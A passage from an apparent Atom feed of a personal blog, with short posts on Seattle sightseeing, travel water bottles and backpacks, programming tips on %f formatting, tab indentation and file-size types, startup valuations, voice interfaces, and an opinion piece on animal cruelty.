    <a href="IMG_20140518_103816-300x225.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20140518_103816-300x225.jpg"
         alt="A gravestone with a lot of engraved text facing upwards, located in a cemetery surrounded by small rocks and green grass." width="300"/> </a>
</figure>

<p>From there we headed to the   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60878-d141518-Reviews-Museum_of_History_Industry-Seattle_Washington.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Museum of History &amp; Industry</a> which gave us a nice overview of  Seattle&rsquo;s role in the World Wars. Recommended if you are into history. Expect to spend a few hours if you are planning to do it in the full. At 14$ per person, it&rsquo;s inexpensive.</p>
<p><img alt="IMG_20140518_121646" loading="lazy" src="/travel/seattle/IMG_20140518_121646-300x225.jpg"></p>
<p>We followed it with   
    
    
<a href="https://www.tripadvisor.com/LocationPhotoDirectLink-g60878-d141510-i89758552-Frye_Art_Museum-Seattle_Washington.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Frye Art Museum</a>, it&rsquo;s a nice museum if you have any interest in arts. We missed   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60878-d2391414-Reviews-Last_Resort_Fire_Department-Seattle_Washington.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Last Resort Fire Department</a> since it was closed. We continued the trip with Klondike   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60878-d141275-Reviews-Klondike_Gold_Rush_National_Historical_Park-Seattle_Washington.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Gold Rush National Historical Park</a> which is actually a museum. It provides a window into the Klondike gold rush era which started in 1896. Must do for history lovers. Being short on time, we skipped the   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60878-d558679-Reviews-Seattle_Public_Library-Seattle_Washington.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Public Library</a> and   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60878-d141235-Reviews-Alki_Beach-Seattle_Washington.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Alki Beach</a>.</p>
<figure>
    
    <a href="IMG_20140518_145802-300x225.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20140518_145802-300x225.jpg"
         alt="A scenic beach view with people walking along the shoreline, capturing a sense of relaxation and leisure." width="300"/> </a>
</figure>

<p>We took   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60878-d563102-Reviews-Washington_State_Ferries-Seattle_Washington.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Washington State Ferries</a> which was OK but not great. I would recommend   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g58640-d3386572-Reviews-Denny_Creek_Trail-North_Bend_Washington.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Denny Creek Trail</a> instead.</p>
<figure>
    
    <a href="IMG_20140518_155952-300x225.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20140518_155952-300x225.jpg"
         alt="A dense patch of green forest along a trail with tall trees and lush vegetation, nestled in a mountainous area." width="300"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/washington" term="washington" label="washington"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">Carrying water during urban travel</title><link href="https://ashishb.net/travel/carrying-water-during-urban-travel/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/choosing-a-travel-backpack/?utm_source=atom_feed" rel="related" type="text/html" title="Choosing a Travel Backpack"/><link href="https://ashishb.net/travel/overnight-bus-journeys/?utm_source=atom_feed" rel="related" type="text/html" title="Overnight bus journeys"/><link href="https://ashishb.net/travel/bottled-water-at-tourist-places/?utm_source=atom_feed" rel="related" type="text/html" title="Bottled water at Tourist places"/><link href="https://ashishb.net/travel/oahu-hawaii/?utm_source=atom_feed" rel="related" type="text/html" title="Five days in Oahu, Hawaii"/><link href="https://ashishb.net/misc/the-optimal-distance/?utm_source=atom_feed" rel="related" type="text/html" title="The optimal distance"/><id>https://ashishb.net/travel/carrying-water-during-urban-travel/</id><author><name>Ashish Bhatia</name></author><published>2016-07-01T07:47:01+00:00</published><updated>2016-07-01T07:47:01+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the perfect travel companion: a slim, flexible water bottle that fits any jacket, reducing environmental impact. Ideal for urban adventures or hiking!</blockquote><p>Bottled water is  not only   
    
    
<a href="https://www.businessinsider.com/bottled-water-costs-2000x-more-than-tap-2013-7?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">expensive</a> but is   
    
    
<a href="https://www.youtube.com/watch?v=Se12y9hSOM0&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">harmful</a> to the environment. Therefore, I try to reuse the same bottle while traveling. I used to carry a hard-plastic bottle while traveling and then one day at an airport, I saw another traveler carrying a flexible bottle, it looks like a pouch. Compared to a standard 500mL hard plastic round bottle it is slim and hence a good fit for a travel jacket. That&rsquo;s why I fell in love with one and quickly added it to my traveling gear.</p>
<p>The one I carry around is a   
    
    
<a href="https://amzn.to/3QVYcrK?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hydration Pack</a>. It works perfectly well for urban travel as well as hiking</p>
<p>As always, with such items, price varies, so, if you are not in a rush, add a   
    
    
<a href="https://camelcamelcamel.com/-Go-Betty-Flexible-Wine-Bottle/product/B0160GPWNW?context=browse&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">price tracker</a> for it.</p>
]]></content><category scheme="https://ashishb.net/category/travel-gear" term="travel-gear" label="travel-gear"/></entry><entry><title type="html">Choosing a Travel Backpack</title><link href="https://ashishb.net/travel/choosing-a-travel-backpack/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/misc/5-things-airlines-get-wrong-about-leisure-travelers/?utm_source=atom_feed" rel="related" type="text/html" title="5 things airlines get wrong about leisure travelers"/><link href="https://ashishb.net/travel/air-india/?utm_source=atom_feed" rel="related" type="text/html" title="A surprisingly positive experience with Air India"/><link href="https://ashishb.net/short-stories/unhospitable-airports/?utm_source=atom_feed" rel="related" type="text/html" title="Unhospitable Airports"/><link href="https://ashishb.net/travel/hotels-vs-airbnb-vs-hostels/?utm_source=atom_feed" rel="related" type="text/html" title="Hotels vs Airbnb vs Hostels"/><link href="https://ashishb.net/short-stories/souvenir-clothing/?utm_source=atom_feed" rel="related" type="text/html" title="Souvenir Clothing"/><id>https://ashishb.net/travel/choosing-a-travel-backpack/</id><author><name>Ashish Bhatia</name></author><published>2016-07-01T06:30:25+00:00</published><updated>2016-07-01T06:30:25+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the perfect travel backpack! Learn about sizes, weight distribution, loading types, and insider tips to find a high-quality backpack without overspending.</blockquote><p>Choosing a travel backpack is a topic of several online debates. Here are some of my learnings. The final decision depends on your preferences.</p>
<h3 id="size">Size</h3>
<p>First, start with the size, usual sizes are around 25L, 45L, 65L.
The 25L is OK for a day or two, and you can stretch it for a few days.
It is almost what a good office backpack looks like. 45L can last for a few week-long urban trips.
Of course, it cannot contain things like sleeping bag etc.
Both of these are good choices for urban travel or travel not involving sleeping outdoors.
For travel involving carrying sleeping bags or tents, a 65L backpack is unavoidable.
But here is the flip-side. Not only, it is bulky but also, you cannot carry it in most airlines.
You have to do a check-in which even if free, can be time-consuming.
Here are some images from Google illustrating the sizes.</p>
<figure>
    
    <a href="tmp1.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tmp1.jpg"
         alt="Backpack - 25L" width="197"/> </a>
</figure>

<figure>
    
    <a href="tmp1-1-300x200.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tmp1-1-300x200.jpg"
         alt="Backpack - 45L" width="292"/> </a>
</figure>

<figure>
    
    <a href="tmp1-3-e1465635327754-210x300.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tmp1-3-e1465635327754-210x300.jpg"
         alt="Backpack - 65L" width="137"/> </a>
</figure>

<h3 id="weight-distribution">Weight distribution</h3>
<p>The second most important aspect is the weight distribution.
Some bags don&rsquo;t provide hip or chest support straps.
I would highly recommend choosing one which provides both.</p>
<figure>
    
    <a href="tmp1-4-200x300.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tmp1-4-200x300.jpg"
         alt="Backpack - chest and hip straps" width="200"/> </a>
</figure>

<h3 id="loading">Loading</h3>
<p>The third important aspect of choosing a backpack is whether it is top-loading or front-loading. A top-loading backpack can only be loaded from the top while front-loading one opens up like a suitcase. Moving from top-loading to front-loading made my life much easier.</p>
<figure>
    
    <a href="tmp1-2-200x300.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tmp1-2-200x300.jpg"
         alt="Top loading backpack" width="200"/> </a>
</figure>

<h3 id="some-others-concerns">Some others concerns</h3>
<ol>
<li>Don&rsquo;t choose a bag with rollers. They are useful only at airports and hotel lobbies. Everywhere else, you are just carrying extra weight on your shoulders.</li>
<li>If you travel with a laptop then ensure that the bag has a well-protected laptop sleeve.</li>
</ol>
<h3 id="what-i-decided-on">What I decided on</h3>
<p>I narrowed down my choices to following five 35L-45L backpacks since that is within the carry-on limits and can easily last for weeks.</p>
<ol>
<li>  
    
    
<a href="https://amzn.to/1VRVx0m?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Tortuga Travel backpack</a>  - 200$ for 44L</li>
<li>  
    
    
<a href="https://amzn.to/1VRWu94?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Osprey Farpoint</a> - 140$ for 40L. This seems to be the most popular backpack among the traveling community</li>
<li>  
    
    
<a href="https://www.minaal.com/collections/all/products/carry-on-2-0-bag?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Minaal Carry-on bag</a>  - 300$ for 35L</li>
<li>Soot Electropack  - 280$ for 24+10L, a daypack can be pulled out of the bag - website dead as of Nov 2018</li>
<li>Chrome Excursion  - 160$</li>
<li>  
    
    
<a href="https://amzn.to/1WJoXz1?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Venturesafe anti-theft backpack</a> - 200$ for 45L. This bag definitely seems to have some good anti-theft and security features.</li>
</ol>
<p>Eventually, I decided to go with   
    
    
<a href="https://www.tortugabackpacks.com/products/tortuga-travel-backpack?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Tortuga</a>.</p>
<h3 id="a-secret-which-professional-bloggers-wont-tell-you">A secret which professional bloggers won&rsquo;t tell you</h3>
<p>I read several blogs while choosing a backpack and no one recommended a really simple trick for getting an inexpensive high-quality backpack. And that&rsquo;s probably because this trick does not make money for the bloggers or the sellers. The trick is CraigsList. As of this writing, there are about 900 backpacks available to buy in my area. Most of them for about 50$.</p>
<h3 id="further-reading">Further reading</h3>
<ol>
<li>  
    
    
<a href="https://www.nomadicmatt.com/travel-tips/choosing-the-right-backpack/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Nomadic Matt</a></li>
<li>  
    
    
<a href="https://www.ems.com/ea-how-to-choose-a-backpack.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Eastern Mountain Sport&rsquo;s Guide</a></li>
<li>  
    
    
<a href="https://travelfashiongirl.com/how-to-choose-the-best-travel-backpack-a-step-by-step-guide/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Women&rsquo;s backpack guide</a></li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel-gear" term="travel-gear" label="travel-gear"/><category scheme="https://ashishb.net/tag/backpack" term="backpack" label="backpack"/><category scheme="https://ashishb.net/tag/travel" term="travel" label="travel"/></entry><entry><title type="html">Floating point in user-facing strings</title><link href="https://ashishb.net/programming/floating-point-in-user-facing-strings/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/demystifying-android-rendering/?utm_source=atom_feed" rel="related" type="text/html" title="Demystifying Android rendering: Jank and ANR"/><link href="https://ashishb.net/programming/built-in-developer-options-in-android/?utm_source=atom_feed" rel="related" type="text/html" title='Built-in "Developer options" in Android'/><link href="https://ashishb.net/programming/tabs-vs-spaces-for-code-indentation/?utm_source=atom_feed" rel="related" type="text/html" title="Tabs vs spaces for code indentation"/><link href="https://ashishb.net/programming/file-size-should-always-be-of-long-type/?utm_source=atom_feed" rel="related" type="text/html" title='File size should always be of "long" type'/><link href="https://ashishb.net/programming/my-rm-rf-moment/?utm_source=atom_feed" rel="related" type="text/html" title="My rm -rf moment"/><id>https://ashishb.net/programming/floating-point-in-user-facing-strings/</id><author><name>Ashish Bhatia</name></author><published>2016-06-25T23:54:28+00:00</published><updated>2016-06-25T23:54:28+00:00</updated><content type="html"><![CDATA[<blockquote>Learn why using %f in user-facing strings is risky due to varying architecture and language factors; discover safer alternatives for precision display.</blockquote><figure>
    
    <a href="Priceline-floating-point-mistake-1024x647.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Priceline-floating-point-mistake-1024x647.jpeg"
         alt="Priceline.com floating point mistake" width="900"/> </a>
</figure>

<p><code>%f</code> in user-facing strings is dangerous.
Depending on the   
    
    
<a href="https://docs.oracle.com/cd/E19957-01/806-3568/ncg_goldberg.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">architecture</a>, programming language involved, version of that language and   
    
    
<a href="https://stackoverflow.com/questions/7517588/different-floating-point-result-with-optimization-enabled-compiler-bug?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">compiler optimization flags</a>, results can vary slightly.
And if there are multiple languages involved in the serving stack, it is almost impossible to argue with the outcome.
If those variations are immaterial, then use %.1f or %.2f to get one or two digits of precision after the decimal point, respectively.
Otherwise, don&rsquo;t use %f at all.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/floating-points" term="floating-points" label="floating-points"/></entry><entry><title type="html">Startup valuations</title><link href="https://ashishb.net/tech/startup-valuations/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/android-gradle-and-compile-time-dependencies/?utm_source=atom_feed" rel="related" type="text/html" title="Android, Gradle and compile-time only dependencies"/><link href="https://ashishb.net/programming/amazon-ses-python/?utm_source=atom_feed" rel="related" type="text/html" title="How to send HTML mails using Amazon SES (Simple Email Service)"/><link href="https://ashishb.net/tech/when-aggregation-works-and-when-it-doesnt/?utm_source=atom_feed" rel="related" type="text/html" title="When aggregation works and when it doesn't"/><link href="https://ashishb.net/tech/the-android-chrome-merger-saga/?utm_source=atom_feed" rel="related" type="text/html" title="The Android-Chrome merger saga"/><link href="https://ashishb.net/tech/voice-interfaces-the-missing-ux/?utm_source=atom_feed" rel="related" type="text/html" title="Voice Interfaces: The Missing User Interaction Element"/><id>https://ashishb.net/tech/startup-valuations/</id><author><name>Ashish Bhatia</name></author><published>2016-06-19T17:00:41+00:00</published><updated>2016-06-19T17:00:41+00:00</updated><content type="html"><![CDATA[<blockquote>Explore how Jeff Bezos&rsquo;s determination helped Amazon survive its 2001 crash. Learn why founder commitment is crucial for startup success and investor returns.</blockquote><p>In 2001, Amazon&rsquo;s share price   
    
    
<a href="https://www.bloomberg.com/news/articles/2002-07-14/chewing-the-sashimi-with-jeff-bezos?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">crashed</a>   
    
    
<a href="https://www.google.com/finance?chdnp=1&amp;chdd=1&amp;chds=1&amp;chdv=1&amp;chvs=maximized&amp;chdeh=0&amp;chfdeh=0&amp;chdet=1464689150706&amp;chddm=1887357&amp;chls=IntervalBasedLine&amp;q=NASDAQ:AMZN&amp;ntsp=1&amp;ei=I2FNV7DhBMm7igKt3LuYAg&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">from</a> 100$ to 6$, they had to do a 15%   
    
    
<a href="https://www.wsj.com/articles/SB980992420989222933?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">layoff</a>. But it was Jeff Bezos&rsquo;s perseverance, tenacity and grit because of which Amazon survived. As several startups from the   
    
    
<a href="https://www.wsj.com/articles/fidelity-marks-down-startups-including-dropbox-zenefits-1459346847?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Bay</a>   
    
    
<a href="https://fortune.com/2015/11/12/fidelity-marks-down-tech-unicorns/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">area</a> to   
    
    
<a href="https://economictimes.indiatimes.com/industry/services/retail/flipkarts-valuation-markdown-billions-gone-in-a-flash/articleshow/51182907.cms?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Bangalore</a> get a mark-down of their valuations, the question about how many will survive and eventually produce a [positive] return for their investors is being asked. Between what a startup&rsquo;s real value is and how viable is its business model, the real question to ask is how committed are the founder(s) to make things works. In the longer run, only that will matter.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/amazon" term="amazon" label="amazon"/></entry><entry><title type="html">Voice Interfaces: The Missing User Interaction Element</title><link href="https://ashishb.net/tech/voice-interfaces-the-missing-ux/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/when-aggregation-works-and-when-it-doesnt/?utm_source=atom_feed" rel="related" type="text/html" title="When aggregation works and when it doesn't"/><link href="https://ashishb.net/tech/the-android-chrome-merger-saga/?utm_source=atom_feed" rel="related" type="text/html" title="The Android-Chrome merger saga"/><link href="https://ashishb.net/tech/startup-valuations/?utm_source=atom_feed" rel="related" type="text/html" title="Startup valuations"/><link href="https://ashishb.net/tech/google-io-2016-android-notes/?utm_source=atom_feed" rel="related" type="text/html" title="Google I/O 2016: Android notes"/><link href="https://ashishb.net/tech/standardization/?utm_source=atom_feed" rel="related" type="text/html" title="Standardization"/><id>https://ashishb.net/tech/voice-interfaces-the-missing-ux/</id><author><name>Ashish Bhatia</name></author><published>2016-06-13T01:12:23+00:00</published><updated>2016-06-13T01:12:23+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the future of voice-native user experiences beyond Siri and Alexa. Explore interactions optimized for voice, transforming how we interact with tech.</blockquote><figure>
    
    <a href="tmp1-5-300x300.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tmp1-5-300x300.jpg"
         alt="Voice devices" width="300"/> </a>
</figure>

<p>Apple Siri, Google Now, Amazon Echo, and Microsoft Cortana have garnered a lot of press lately. But one thing which is still missing out is voice-native user experience.</p>
<p>Let me illustrate that with the evolution of user experience on touchscreens. When they first came out, there was a stylus, and that&rsquo;s it. It was an inferior version of the mouse-keyboard-monitor trio. Then some fantastic interactions were invented. Interactions like double tap to zoom, multi-finger rotation, swipe to like/dislike, pull down to refresh, long-press for options, and a Swype keyboard. All of these were native to a touchscreen-based environment. Porting them back to a mouse-keyboard-monitor trio was of limited utility at based and useless at worst.</p>
<p>Entering emoji on a smartphone is not very different from typing an English letter via an on-screen keyboard. On a desktop, it is. No wonder emojis took off with smartphones. And let&rsquo;s not forget the physics-based games like Angry Birds.</p>
<p>The current voice-based interfaces are crude; they are almost equivalent to a computer transcribing your query into a Google search and then performing the search. Try doing anything exploratory like flight searches, restaurant searches, etc. and the interface falls apart. But that&rsquo;s analogous to editing spreadsheets on touch-screens, it&rsquo;s still an inferior experience compared to doing that on a traditional PC. What we should be looking forward to is voice-native user experience. Interactions which can be performed way better using voice than a touch-screen or a PC. It would be even better if such voice-native interactions can&rsquo;t be backported to non-voice interfaces.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/voice-interfaces" term="voice-interfaces" label="voice-interfaces"/></entry><entry><title type="html">Cruelty to animals</title><link href="https://ashishb.net/misc/cruelty-to-animals/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/misc/the-optimal-distance/?utm_source=atom_feed" rel="related" type="text/html" title="The optimal distance"/><link href="https://ashishb.net/misc/5-things-airlines-get-wrong-about-leisure-travelers/?utm_source=atom_feed" rel="related" type="text/html" title="5 things airlines get wrong about leisure travelers"/><link href="https://ashishb.net/misc/learning-casual-swimming/?utm_source=atom_feed" rel="related" type="text/html" title="Learning casual swimming"/><link href="https://ashishb.net/misc/speedup-vs-slow-down/?utm_source=atom_feed" rel="related" type="text/html" title="Speedup vs Slow-down"/><link href="https://ashishb.net/misc/front-of-the-queue-effect/?utm_source=atom_feed" rel="related" type="text/html" title="Front of the queue effect"/><id>https://ashishb.net/misc/cruelty-to-animals/</id><author><name>Ashish Bhatia</name></author><published>2016-06-08T09:17:50+00:00</published><updated>2016-06-08T09:17:50+00:00</updated><content type="html"><![CDATA[<blockquote>The western world is hypocritical about animal cruelty. It is not cruel to kill animals for food, but it is cruel to keep them in cages.</blockquote><h3 id="whats-not-cruel">What&rsquo;s not cruel</h3>
<ol>
<li>Burning bee hives (homes) of billions of bees for extracting the honey they spent their life gathering</li>
<li>Raising hens, in millions, solely for their eggs &amp; meat</li>
<li>Slitting throats of millions of animals and let them bleed to death ( <em>halal</em>)</li>
<li>Skinning millions of cows for their leather</li>
<li>Impregnating millions of cows repeatedly for milk</li>
<li>Selective breeding of millions of Turkeys, so that, they provide more meat but are too heavy to survive</li>
<li>Neutering thousands of dogs and cats, so that, they can be used as pets</li>
<li>  
    
    
<a href="https://listverse.com/2013/03/06/10-animals-that-people-eat-alive/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Boiling</a> shrimps alive for food</li>
<li>Killing deer and bears in the name of population control during the   
    
    
<a href="https://en.wikipedia.org/wiki/Hunting_season?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">hunting</a> season</li>
</ol>
<h3 id="whats-cruel">What&rsquo;s cruel</h3>
<ol>
<li>  
    
    
<a href="https://www.theguardian.com/environment/2016/jun/04/tiger-temple-scandal-billion-dollar-trade-china-thailand?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Whatever happened at the Tiger Temple</a></li>
</ol>
]]></content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/><category scheme="https://ashishb.net/tag/hypocrisy" term="hypocrisy" label="hypocrisy"/></entry><entry><title type="html">Tabs vs spaces for code indentation</title><link href="https://ashishb.net/programming/tabs-vs-spaces-for-code-indentation/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/demystifying-android-rendering/?utm_source=atom_feed" rel="related" type="text/html" title="Demystifying Android rendering: Jank and ANR"/><link href="https://ashishb.net/programming/built-in-developer-options-in-android/?utm_source=atom_feed" rel="related" type="text/html" title='Built-in "Developer options" in Android'/><link href="https://ashishb.net/programming/floating-point-in-user-facing-strings/?utm_source=atom_feed" rel="related" type="text/html" title="Floating point in user-facing strings"/><link href="https://ashishb.net/programming/file-size-should-always-be-of-long-type/?utm_source=atom_feed" rel="related" type="text/html" title='File size should always be of "long" type'/><link href="https://ashishb.net/programming/my-rm-rf-moment/?utm_source=atom_feed" rel="related" type="text/html" title="My rm -rf moment"/><id>https://ashishb.net/programming/tabs-vs-spaces-for-code-indentation/</id><author><name>Ashish Bhatia</name></author><published>2016-05-22T23:01:34+00:00</published><updated>2016-05-22T23:01:34+00:00</updated><content type="html"><![CDATA[<blockquote>Discover why expanding tabs preserves code structure and readability, ensuring consistent line lengths and improving code appearance across different settings.</blockquote><p>One argument which some people might give in favor of using tabs is that it allows the viewer to decide how the code should appear to them. And hence, it separates the logic (indentation) from its appearance. The biggest flaw in that argument is that it renders the concept of line length limits meaningless. Line length limits and the associated rules of wrapping bring a   
    
    
<a href="https://google.github.io/styleguide/javaguide.html#s4.4-column-limit?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">good structure</a> to the code.  Someone looking at a piece of code with 3-levels of nesting and tab-length set to 8 will see a very different line length from someone using a tab-length of 2. Always expand tabs.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/></entry><entry><title type="html">File size should always be of "long" type</title><link href="https://ashishb.net/programming/file-size-should-always-be-of-long-type/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/android-stale-views/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Don't use stale views"/><link href="https://ashishb.net/programming/how-many-source-code-repositories-should-a-startup-have/?utm_source=atom_feed" rel="related" type="text/html" title="How many source-code repositories should a startup have"/><link href="https://ashishb.net/programming/consoles-by-google/?utm_source=atom_feed" rel="related" type="text/html" title="Consoles by Google"/><link href="https://ashishb.net/programming/gdb/?utm_source=atom_feed" rel="related" type="text/html" title="Basic GDB Tutorial"/><link href="https://ashishb.net/programming/gcc-hacks/?utm_source=atom_feed" rel="related" type="text/html" title="GCC Hacks"/><id>https://ashishb.net/programming/file-size-should-always-be-of-long-type/</id><author><name>Ashish Bhatia</name></author><published>2016-05-21T07:49:18+00:00</published><updated>2016-05-21T07:49:18+00:00</updated><content type="html"><![CDATA[<blockquote>Avoid integer overflow by using long for file size in Java. Future-proof your code for files over 2GB. Don&rsquo;t repeat Android&rsquo;s past integer mistakes!</blockquote><div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Java
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-Java" data-lang="Java"><span style="display:flex;"><span><span style="color:#dc322f">int</span> <span style="color:#268bd2">getTextFileSize</span>(String fileName) {
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">return</span> (<span style="color:#dc322f">int</span>) (<span style="color:#719e07">new</span> File(BASE_DIR, fileName).length();  <span style="color:#586e75">// WRONG</span>
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
